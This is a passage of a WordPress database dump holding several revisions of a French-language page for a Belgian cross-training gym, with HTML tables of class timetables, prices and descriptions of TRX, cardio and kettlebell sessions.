&lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:03:11', '2013-07-03 17:03:11', '', 11, 'http://www.crosstrainingcenter.be/?p=181', 0, 'revision', '', 0),
(186, 1, '2013-07-03 17:30:27', '2013-07-03 17:30:27', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n\r\n&lt;table &gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot; &gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot; &gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot; &gt;JEUDI&lt;/td&gt;\r\n&lt;td  class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:30:27', '2013-07-03 17:30:27', '', 11, 'http://www.crosstrainingcenter.be/?p=186', 0, 'revision', '', 0),
(185, 1, '2013-07-03 17:28:40', '2013-07-03 17:28:40', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n\r\n&lt;table &gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot; &gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot; &gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot; &gt;JEUDI&lt;/td&gt;\r\n&lt;td  class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr &gt;\r\n&lt;td  class=\&quot;ttitre\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td  class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 